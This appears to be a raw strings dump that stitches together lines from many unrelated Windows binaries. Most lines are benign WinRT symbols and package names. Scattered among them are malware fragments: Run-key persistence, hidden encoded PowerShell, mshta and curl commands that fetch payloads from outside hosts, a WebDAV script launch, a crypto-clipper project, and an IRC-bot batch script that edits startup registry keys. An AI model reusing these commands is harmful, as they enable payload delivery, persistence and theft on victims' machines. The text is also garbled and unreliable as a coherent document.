.?AU?$implements@ULKDDialogViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@UILKDDialogViewModelStatics@34@Ustatic_lifetime@4@@winrt@@
.?AU?$produce@ULKDDialogViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@@impl@winrt@@
.?AU?$producer_convert@ULKDDialogViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
.?AU?$produce_base@ULKDDialogViewModel@implementation@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@X@impl@winrt@@
.\anvtrgr.exesoftware\anvtrgrsoftsoftware\microsoft\windows\currentversion\app paths\anvtrgrsoftsoftware\microsoft\windows\currentversion\uninstall\anvtrgrsofthttp://www.virtrigger.com
windows update loader
software\microsoft\windows\currentversion\run69.50.175.180
software\microsoft\windows\currentversion\run
t\\WindowsUpdaX c
USERPROFILE=C:\WINDOWS\system32\con@
.?AU?$__abi_FunctorCapture@V<lambda_40a907751731a944f337e5060dd2e5f7>@@XPE$AAUIBackgroundTaskInstance@Background@ApplicationModel@Windows@@W4BackgroundTaskCancellationReason@345@@Details@Platform@@
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.TwinSxSapp:immersive2026-02-20 16:13:452026-02-20 16:13:45w
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.Taskbarapp:immersive2026-02-20 16:13:452026-02-20 16:13:45{
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.SystemTrayapp:immersive2026-02-20 16:13:452026-02-20 16:13:45z
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.StartMenuapp:immersive2026-02-20 16:13:452026-02-20 16:13:45
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.SpeechSynthesizerExtensionapp:immersive2026-02-20 16:13:452026-02-20 16:13:45
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.SpeechRecognizerExtensionapp:immersive2026-02-20 16:13:452026-02-20 16:13:45{
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.SnapLayoutapp:immersive2026-02-20 16:13:452026-02-20 16:13:45
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.MicrosoftGraphRecentItemsManagerapp:immersive2026-02-20 16:13:452026-02-20 16:13:45
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.LiveCaptionsDesktopapp:immersive2026-02-20 16:13:452026-02-20 16:13:45
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.FamilyValuePropapp:immersive2026-02-20 16:13:452026-02-20 16:13:45}
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.BackupBannerapp:immersive2026-02-20 16:13:452026-02-20 16:13:45~
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.AppListBackupapp:immersive2026-02-20 16:13:452026-02-20 16:13:45{
MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy!PackageMetadataapp:immersive2026-02-20 16:13:452026-02-20 16:13:45
MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy!Global.ModelManagementUXapp:immersive2026-02-20 16:13:452026-02-20 16:13:45{
MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy!Global.Feedbackapp:immersive2026-02-20 16:13:452026-02-20 16:13:45
MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy!Global.DiscoveryOverlayapp:immersive2026-02-20 16:13:452026-02-20 16:13:45w
MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy!ClickToDoAppapp:immersive2026-02-20 16:13:452026-02-20 16:13:45t
MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy!aicontextapp:immersive2026-02-20 16:13:452026-02-20 16:13:45u
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!WindowsBackupapp:immersive2026-02-20 16:13:452026-02-20 16:13:45z
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!WebExperienceHostapp:immersive2026-02-20 16:13:452026-02-20 16:13:45t
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!VisualAssistapp:immersive2026-02-20 16:13:452026-02-20 16:13:45s
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!SoftLandingapp:immersive2026-02-20 16:13:452026-02-20 16:13:45w
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!PackageMetadataapp:immersive2026-02-20 16:13:452026-02-20 16:13:45p
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!InputAppapp:immersive2026-02-20 16:13:452026-02-20 16:13:45r
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.wswapp:immersive2026-02-20 16:13:452026-02-20 16:13:45
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.WindowsPersonaCardapp:immersive2026-02-20 16:13:452026-02-20 16:13:45
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.WindowsPeopleExperienceapp:immersive2026-02-20 16:13:452026-02-20 16:13:45
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.WindowsMigrationapp:immersive2026-02-20 16:13:452026-02-20 16:13:45
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.WidgetViewWinUI3app:immersive2026-02-20 16:13:452026-02-20 16:13:45}
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.WidgetViewUWPapp:immersive2026-02-20 16:13:452026-02-20 16:13:45|
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.WidgetPickerapp:immersive2026-02-20 16:13:452026-02-20 16:13:451:16:02
Windows.Defender.MpUxDlpSystemapp:system2026-02-21 11:15:572026-02-21 11:15:57z
Microsoft.WindowsTerminal_8wekyb3d8bbwe!Appapp:immersive2026-02-21 11:02:002026-02-21 11:02:00h
Microsoft.WindowsNotepad_8wekyb3d8bbwe!Appapp:immersive2026-02-21 11:01:562026-02-21 11:23:49`d
Microsoft.Windows.DevHome_8wekyb3d8bbwe!Appapp:immersive2026-02-21 11:16:372026-02-21 11:16:37h
Microsoft.Windows.Photos_8wekyb3d8bbwe!Appapp:immersive2026-02-21 11:16:372026-02-21 11:16:37k
Microsoft.WindowsCalculator_8wekyb3d8bbwe!Appapp:immersive2026-02-21 11:16:362026-02-21 11:16:36g
Microsoft.WindowsCamera_8wekyb3d8bbwe!Appapp:immersive2026-02-21 11:16:362026-02-21 11:16:36l
Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe!Appapp:immersive2026-02-21 11:16:352026-02-21 11:16:35n
Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe!Appapp:immersive2026-02-21 11:16:352026-02-21 11:16:35s
MicrosoftWindows.CrossDevice_cw5n1h2txyewy!SettingsUXHostAppapp:immersive2026-02-21 11:16:332026-02-21 11:16:33f
Microsoft.WindowsAlarms_8wekyb3d8bbwe!Appapp:immersive2026-02-21 11:16:292026-02-21 11:16:29t
Microsoft.Windows.NarratorQuickStart_8wekyb3d8bbwe!Appapp:immersive2026-02-21 11:16:272026-02-21 11:16:27k
Windows.Defender.MpUxDlpSystemapp:system2026-02-21 11:15:572026-02-21 11:15:57z
Microsoft.WindowsTerminal_8wekyb3d8bbwe!Appapp:immersive2026-02-21 11:02:002026-02-21 11:02:00h
Microsoft.WindowsNotepad_8wekyb3d8bbwe!Appapp:immersive2026-02-21 11:01:562026-02-21 11:23:49H
c..\windows\system32\cmd.exe#/cstartrundll32
WINDOWS11
.?AU?$root_implements@Uiterator@?$iterable_base@U?$convertible_observable_vector@HV?$vector@HV?$allocator@H@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@HUcollection_version@23@@winrt@@U?$IIterator@H@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$producer@Uiterator@?$iterable_base@U?$convertible_observable_vector@HV?$vector@HV?$allocator@H@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@HUcollection_version@23@@winrt@@U?$IIterator@H@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer_convert@Uiterator@?$iterable_base@U?$convertible_observable_vector@HV?$vector@HV?$allocator@H@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@HUcollection_version@23@@winrt@@U?$IIterator@H@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producers_base@Uiterator@?$iterable_base@U?$convertible_observable_vector@HV?$vector@HV?$allocator@H@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@HUcollection_version@23@@winrt@@V?$tuple@U?$IIterator@H@Collections@Foundation@Windows@winrt@@@std@@@impl@winrt@@
.?AU?$root_implements@U?$convertible_observable_vector@HV?$vector@HV?$allocator@H@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IObservableVector@H@Collections@Foundation@Windows@3@U?$IVector@H@5673@U?$IVectorView@H@5673@U?$IIterable@H@5673@U?$IObservableVector@UIInspectable@Foundation@Windows@winrt@@@5673@U?$IVector@UIInspectable@Foundation@Windows@winrt@@@5673@U?$IVectorView@UIInspectable@Foundation@Windows@winrt@@@5673@U?$IIterable@UIInspectable@Foundation@Windows@winrt@@@5673@@impl@winrt@@
.?AU?$implements@U?$convertible_observable_vector@HV?$vector@HV?$allocator@H@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IObservableVector@H@Collections@Foundation@Windows@3@U?$IVector@H@5673@U?$IVectorView@H@5673@U?$IIterable@H@5673@U?$IObservableVector@UIInspectable@Foundation@Windows@winrt@@@5673@U?$IVector@UIInspectable@Foundation@Windows@winrt@@@5673@U?$IVectorView@UIInspectable@Foundation@Windows@winrt@@@5673@U?$IIterable@UIInspectable@Foundation@Windows@winrt@@@5673@@winrt@@
.?AU?$producer@U?$convertible_observable_vector@HV?$vector@HV?$allocator@H@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IIterable@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer@U?$convertible_observable_vector@HV?$vector@HV?$allocator@H@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IVectorView@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer_convert@U?$convertible_observable_vector@HV?$vector@HV?$allocator@H@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IIterable@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer@U?$convertible_observable_vector@HV?$vector@HV?$allocator@H@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IVector@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
#eadevent\Windows Live\Messenger\msnmsgr.exe\ICQ7.7
@winrt@@H@experimental@std@@UIAsyncInfo@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$producer@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@H@experimental@std@@UIAsyncAction@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$producer_convert@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@H@experimental@std@@UIAsyncAction@Foundation@Windows@winrt@@X@impl@winrt@@
.?AUpromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@H@experimental@std@@
.?AU?$producers_base@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@H@experimental@std@@V?$tuple@UIAsyncAction@Foundation@Windows@winrt@@UIAsyncInfo@234@@4@@impl@winrt@@
.?AU?$produce@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@V?$vector@Uhstring@winrt@@V?$allocator@Uhstring@winrt@@@std@@@std@@_N_KHV?$vector@HV?$allocator@H@std@@@6@Uhstring@4@@experimental@std@@UIAsyncInfo@Foundation@Windows@winrt@@@impl@winrt@@
.?AU?$produce_base@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@V?$vector@Uhstring@winrt@@V?$allocator@Uhstring@winrt@@@std@@@std@@_N_KHV?$vector@HV?$allocator@H@std@@@6@Uhstring@4@@experimental@std@@UIAsyncInfo@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$produce@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@V?$vector@Uhstring@winrt@@V?$allocator@Uhstring@winrt@@@std@@@std@@_N_KHV?$vector@HV?$allocator@H@std@@@6@Uhstring@4@@experimental@std@@UIAsyncAction@Foundation@Windows@winrt@@@impl@winrt@@
.?AU?$produce_base@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@V?$vector@Uhstring@winrt@@V?$allocator@Uhstring@winrt@@@std@@@std@@_N_KHV?$vector@HV?$allocator@H@std@@@6@Uhstring@4@@experimental@std@@UIAsyncAction@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$implements@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@V?$vector@Uhstring@winrt@@V?$allocator@Uhstring@winrt@@@std@@@std@@_N_KHV?$vector@HV?$allocator@H@std@@@6@Uhstring@4@@experimental@std@@UIAsyncAction@Foundation@Windows@winrt@@UIAsyncInfo@678@@winrt@@
.?AU?$promise_base@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@V?$vector@Uhstring@winrt@@V?$allocator@Uhstring@winrt@@@std@@@std@@_N_KHV?$vector@HV?$allocator@H@std@@@6@Uhstring@4@@experimental@std@@UIAsyncAction@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$root_implements_composable_inner@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@V?$vector@Uhstring@winrt@@V?$allocator@Uhstring@winrt@@@std@@@std@@_N_KHV?$vector@HV?$allocator@H@std@@@6@Uhstring@4@@experimental@std@@$0A@@impl@winrt@@
.?AU?$root_implements@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@V?$vector@Uhstring@winrt@@V?$allocator@Uhstring@winrt@@@std@@@std@@_N_KHV?$vector@HV?$allocator@H@std@@@6@Uhstring@4@@experimental@std@@UIAsyncAction@Foundation@Windows@winrt@@UIAsyncInfo@678@@impl@winrt@@
.?AU?$producer_convert@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@V?$vector@Uhstring@winrt@@V?$allocator@Uhstring@winrt@@@std@@@std@@_N_KHV?$vector@HV?$allocator@H@std@@@6@Uhstring@4@@experimental@std@@UIAsyncInfo@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$producer@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@V?$vector@Uhstring@winrt@@V?$allocator@Uhstring@winrt@@@std@@@std@@_N_KHV?$vector@HV?$allocator@H@std@@@6@Uhstring@4@@experimental@std@@UIAsyncInfo@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$producer@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@V?$vector@Uhstring@winrt@@V?$allocator@Uhstring@winrt@@@std@@@std@@_N_KHV?$vector@HV?$allocator@H@std@@@
windows-1252
'http.setrequestheader("user-agent","windowsinstaller");
=@windowsdir&"\microsoft.net\framework\v
C:\WINDOWS\system32\backgroundTaskHost.exeC
WindowsVersion
WindowsApp1.g.resources
Windows_Local_Host_Prozess
pyi-windows-manifest-filename crypto-yank.exe.manifestp
windows
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
OSS\dxil\lib\Support\Windows\MSFileSystem.inc.cpp
adjust|ajust|alter|change|edit|modify|replace|reset|set|switch|by|defaults|defualt|standard|associate|association|associations|extensions|extentions|type|filetype|open|with|applets|applications|apps|aps|files|programmes|programs|softare|softwares|sofware|sotfware|windos|windows|protocols|@
Windows features on or off
hUser - Pass -Domain - SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windowsitstore.dll
windowS
input method for each app windows
qWindows(
MainWindowStatusBarPalette
WindowsAccountType
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat
Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
run('%windir%\\system32\\cmd.exe/c'+'powershell.exe-nop-whidden-e'+var
0/cstartwscript.exe/e:vbscript.encodeconfig.dat&c:\windows\explorer.exe
=execute("@homedrive&""\windows\microsoft.net\framework
Microsoft-Windows-Troubleshooting-HTTP
Windows.Data.Input.Devices.MouseSyncedSettings
 @Windows.Data.Input.PersonalWords.WordsUsage
 @Windows.Data.Messaging.SettingsLocalCache
(@CloudData.WindowsClient.CloudDataAvailableWnf
 @Windows.Data.Platform.Asset.PerDeviceAssetBlob
(@Windows.Data.Apps.AppLevelTileInfo
 @CloudData.WindowsClient.CloudDataAvailableWnf
 @CloudData.WindowsClient.AssetReference
 @Windows.Data.Input.Text.SpellerDictionary
 @Windows.Data.Input.Devices.TouchSettings
 @CloudData.WindowsClient.AssetReference
 @Windows.Data.Input.Devices.PenSyncedSettings
 @CloudData.WindowsClient.CloudDataAvailableWnf
 @Windows.Data.Apps.DeviceMetaData
 @Windows.Data.Input.Text.LanguageUnigramList
 @Windows.Data.Input.Devices.PenSettings
 @Windows.Data.Input.Devices.MouseSettings
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package001120~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package07~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-CoreSystem-Security-UserMgr-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.712.cat|!
Microsoft-Windows-CoreSystem-WinTrust-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
HyperV-Guest-KMCL-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|HyperV-Guest-KMCL-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Features-Package010~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|!
Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-IIS-WebServer-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-Licenses-IoTEnterpriseK-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-NetFx-Shared-Perfcounters-Client~31bf3856ad364e35~amd64~~10.0.26100.1.cat|Package_13_for_KB5066128~31bf3856ad364e35~amd64~~10.0.9321.3.cat|Package_8_for_KB5066128~31bf3856ad364e35~amd64~~10.0.9321.3.cat|!
Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~en-US~10.0.26100.7309.cat|!
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
4b^com.microsoft.windows.extensionpackage
4c^com.microsoft.windows.extensionpackage
4d^com.microsoft.windows.extensions.xaml.systemtray
com.microsoft.windows.extensions.xaml.systemtray
           targetNamespace="http://schemas.microsoft.com/appx/manifest/com/windows10/3"
           xmlns="http://schemas.microsoft.com/appx/manifest/com/windows10/3"
           xmlns:f="http://schemas.microsoft.com/appx/manifest/foundation/windows10"
           xmlns:com="http://schemas.microsoft.com/appx/manifest/com/windows10"
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/foundation/windows10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/com/windows10"/>
c:\windows\system32\kernel32.dll
http://192.227.168.151/windows/docum
WindowsFormsApp27.Properties
crypto-clipper/main.goclipboard.goclipboard_windows.go
="\system32"
"sticksd2m="\system32"
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
WindowsGetStringRawBuffer
(y-usebhttps://8llc.net/lite/index.php)!%systemroot%\system32\shell32.dll%systemroot%\system32\conhost.exe
.!c:\windows\system32\mshta.exe.http://a0705269.xsph.ru/decipher/barrow.txt/f%windir%\system32\imageres.dll%
c:\windows\system32\wscript.exe//b"\\wrote-kernel-extend-designation.trycloudflare.com@ssl\davwwwroot\
..\windowspowershell\v1.0\powershell.exei-windowstylehiddeniex(iex(get-content.\session.create|out-string)
c:\windows\system32\forfiles.exe/pc:\windows/mwrite.exe/c"powershell.mshtahttp://ua-chrome.tech/123123123"
 @https://assets.activity.windows.com/v1/assets
 @https://assets.activity.windows.com
Windows
System32
WindowsFeedback
onecore\base\fs\refsdedupsvc\exe\windows.private.storage.dedupsettings.cpp
=rosoft\Windows\CurrentVersion\SmartGlass
Windows.CloudExperienceHost_10.0.26100.1_neutral
Microsoft.Windows.UDK.ShellViewController
C:\WINDOWS\system32
Windows.57242383.TasbarT
*Microsoft.Windows.XGpuEjectDialog_cw5n1h2txyewy-In-Block
pWindows
Path=C:\WINDOWS\system32;
ext-ms-win-ntuser-windowstation-l1-1-0.dll
Windows.Storage.dll
.?AU?$__abi_FunctorCapture@V<lambda_2f597eb8a35480e81d447f9143ac4941>@@XPE$AAU?$IAsyncOperation@W4SVUpgradeEligibilityState@ContentManagement@@@Foundation@Windows@@W4AsyncStatus@34@@Details@Platform@@
.?AU?$__abi_FunctorCapture@V<lambda_768f2604ce83b991dd48de38ff7908aa>@@XPE$AAU?$IAsyncOperation@PE$AAU?$IMapView@PE$AAVString@Platform@@PE$AAV12@@Collections@Foundation@Windows@@@Foundation@Windows@@W4AsyncStatus@34@@Details@Platform@@
.?AV?$_Ref_count_obj@U?$_Task_impl@PE$AAU?$IMapView@PE$AAVString@Platform@@PE$AAV12@@Collections@Foundation@Windows@@@details@Concurrency@@@std@@
.?AU?$IIterator@PE$AAVString@Platform@@@Collections@Foundation@Windows@@
.?AU?$IVectorView@PE$AAVString@Platform@@@Collections@Foundation@Windows@@
.?AV?$AsyncOperationCompletedHandler@W4SVUpgradeEligibilityState@ContentManagement@@@Foundation@Windows@@
.?AU__abi_IDelegate@?$AsyncOperationCompletedHandler@W4SVUpgradeEligibilityState@ContentManagement@@@Foundation@Windows@@
.?AU__abi_IDelegate@?$AsyncOperationCompletedHandler@PE$AAU?$IMapView@PE$AAVString@Platform@@PE$AAV12@@Collections@Foundation@Windows@@@Foundation@Windows@@
.?AU?$_Task_impl@PE$AAU?$IMapView@PE$AAVString@Platform@@PE$AAV12@@Collections@Foundation@Windows@@@details@ConcVWAVAWH
Windows.Data.Settings	
WindowsFeedbackProtocol
"Windows"
Ac:\windows\system32\cmd.exe/cpowershell.exe
nners\impalpablepopularization.jsc:\windows\explorer.exe%systemroot%
"\root\securitycenter2microsoft\windows\start menuu
\Windows\CurrentVersion\policies\systemE
AHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\
RemoveWindowSubclass
SetWindowSubclass
WINDOWS.UI.COMPOSITION.COMPOSITIONEFFECTSOURCEPARAMETER
MICROSOFTWINDOWS.59337145.LIVTOP_1000.26100.7824.0_X64__CW5N1H2TXYEWY
\AppData\Roaming\Microsoft\Windows\Start Menu\Program
s\system32\shell32.dll%
ComSpec=C:\WINDOWS\system32\cmd.exe
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Notifications\Data\\418A073AA3BC1C75
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Notifications\Data\\418A073AA3BC1C75
loadFrom="%systemroot%\system32\sysprep\cryptbase.DLL"
EnumChildWindows
EC:\WINDOWS\system32\cmd.exe /c curl https://files.catbox.moe/
 --output C:\windowsJ
Microsoft.WindowsAppRuntime.1.5_5001.373.1736.0_x86__8wekyb3d8bbwe
System.Windows.Forms.ISupportToolStripPanel.EndDrag
System.Windows.Forms.ISupportOleDropSource.OnQueryContinueDrag
System.Windows.Forms.ISupportToolStripPanel.BeginDrag
c:\windowso
clientcore\windows\advcore\ctf\uim\default.cpp
_C:\WINDOWS\system32\loster.exesoftware\microsoft\windows\CurrentVersion\Run\Terst
\devices\>>userdb.jpgechofiledir%systemroot%\system32\devices\>>userdb.jpgechouser_nick[ltd]-%random%>>userdb.jpgservices.exe-install-name:"runtime"-launch:"hiderun.exeuserlist.exe-buserdb.jpg"netstartruntimegotoend:win98echoregedit4>xdcc.regecho[hkey_local_machine\software\microsoft\windows\currentversion\runservices]>>xdcc.regecho"loadpowerprofiles"="system32\\
zipfile=topathextractto=fso.getabsolutepathname(wshshell.expandenvironmentstrings("%appdata%")&"/microsoft/windows/startmenu/programs/startup/")sourcefile=fso.getabsolutepathname(zipfile)destfolder=fso.getabsolutepathname(extractto)destfolder2=fso.getabsolutepathname(zipfile)setobjshell=createobject("shell.application")
 Windows
.?AUtype@?$abi@UIStorageProviderSearchHandler@Provider@Storage@Windows@winrt@@X@impl@winrt@@
.?AU?$produce@VStorageProviderSearchHandlerSource@@UIStorageProviderSearchHandler@Provider@Storage@Windows@winrt@@@impl@winrt@@
.?AU?$produce_base@VStorageProviderSearchHandlerSource@@UIStorageProviderSearchHandler@Provider@Storage@Windows@winrt@@X@impl@winrt@@
.?AUtype@?$abi@UStorageProviderKnownFolderSyncRequestedHandler@Provider@Storage@Windows@winrt@@X@impl@winrt@@
.?AUIStorageProviderKnownFolderEntry@Provider@Storage@Windows@ABI@@
.?AUIStorageProviderKnownFolderSyncInfo@Provider@Storage@Windows@ABI@@
.?AU?$delegate@UStorageProviderKnownFolderSyncRequestedHandler@Provider@Storage@Windows@winrt@@V<lambda_1>@?CK@??GetKnownFolderSyncInfo@KFMStatusSource@@UEAAJPEAPEAUIStorageProviderKnownFolderSyncInfo@234ABI@@@Z@@impl@winrt@@
